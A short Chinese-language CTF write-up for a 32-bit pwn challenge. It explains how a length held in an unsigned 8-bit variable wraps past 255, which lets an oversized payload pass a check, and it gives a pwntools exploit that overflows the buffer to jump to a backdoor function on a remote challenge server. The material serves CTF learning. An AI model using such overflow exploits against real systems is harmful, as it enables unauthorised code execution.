检查一下保护状态
接着ida看代码逻辑
看func函数
第一次看真没发现有什么漏洞,题目给了backdoor,虽然strlen可以\x00绕过,但是strcpy函数也限制漏洞的实现。仔细看的话,会发现v3的类型是 unsigned __int8 v3;
说明v3是一个字节来表示的,可表示的范围只有0~255,那这样绕过思路就很清晰了,我们的payload构造长度超过255,不超过265就行,然后就可以绕过if语句的判断
exp:
from pwn import *
context(os='linux',arch='i386',log_level='debug')
io=remote("node4.anna.nssctf.cn",28587)
payload=b'a'*(0xb9)+b'a'*0x4+p32(0x80492AF)
payload=payload.ljust(260,b'a')
payload+=b'\x00'
io.send(payload)
io.interactive()
文章讲述了作者在使用IDA检查代码逻辑时,发现了一个通过精心构造payload绕过strlen和strcpy限制的漏洞。通过利用unsignedint8类型的限制,构建长度在255到265之间的payload,成功绕过了if语句的判断,展示了exploit的实施过程。



877

被折叠的 条评论
为什么被折叠?



